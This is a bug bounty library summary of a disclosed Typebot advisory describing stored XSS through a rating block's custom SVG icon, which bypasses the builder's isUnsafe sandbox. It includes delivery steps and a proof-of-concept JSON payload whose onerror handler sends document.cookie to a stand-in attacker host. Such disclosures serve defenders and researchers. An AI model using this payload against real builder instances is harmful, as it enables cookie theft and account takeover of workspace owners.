# Typebot has Stored XSS via Rating Block Custom Icon that Bypasses isUnsafe Sandbox in Builder Preview

Rating block customIcon.svg rendered via Solid innerHTML without sanitization lets a malicious imported typebot run JS in the builder origin, bypassing the isUnsafe Worker sandbox.

- Payout: Research
- Severity: high
- Program: Typebot
- Found by: bugbunny-research
- Disclosed: 2026-05-26
- CVE: CVE-2026-28445
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-6m7c-xfhp-p9fh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6m7c-xfhp-p9fh
- Tags: area:web3 domain:web impact:ato impact:privesc kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:xss

**Target:** Rating block custom icon SVG in embeds JS renderer / builder preview
**Root cause:** RatingButton passes customIcon.svg straight to Solid's innerHTML directive with no sanitization, and sanitizeBlock only flags Script/SetVariable blocks as isUnsafe, so rating blocks from imported bots pass through unmodified.
**Steps:**
1. Craft typebot JSON with a rating input block whose options.customIcon.svg is `<img src=x onerror="fetch('https://attacker.example/?c='+document.cookie)">`
2. Distribute the file (forum, template marketplace, direct share) and get victim to import it into their workspace
3. Victim previews the bot in the builder; RatingForm renders the SVG via innerHTML
4. onerror fires (src=x fails) and fetch exfiltrates builder-origin cookies; Script blocks would be Worker-sandboxed but rating SVG is not
**How found:** Noticed the codebase already uses DOMPurify in StreamingBubble.tsx for innerHTML but not in RatingForm.tsx, then traced the import sanitizer and found sanitizeBlock only sets isUnsafe on Script/SetVariable blocks, leaving rating customIcon.svg unsandboxed in the inline builder preview.
**Exploitation:** Attacker delivers a malicious typebot via import/template sharing or as a workspace collaborator editing a rating block. When a victim (potentially admin/owner) previews the bot, the inline SVG executes on builder.typebot.io under a CSP allowing 'unsafe-inline', exfiltrating session cookies/tokens for account takeover and privilege escalation.
**Escalation:** Collaborator with editor access can execute code in an admin/owner's builder session, escalating to workspace takeover.
**Insight:** When a product sandboxes one dangerous block type (Script) via isUnsafe flags, enumerate every other block field that reaches innerHTML — the safety flag list is usually incomplete; grep for innerHTML and compare which call sites use DOMPurify.

## Proof of concept (copied exactly from the original report)

**Malicious typebot JSON with XSS SVG payload**

```
{
  "groups": [{
    "blocks": [{
      "type": "rating input",
      "options": {
        "buttonType": "Icons",
        "customIcon": {
          "isEnabled": true,
          "svg": "<img src=x onerror=\"fetch('https://attacker.example/?c='+document.cookie)\">"
```

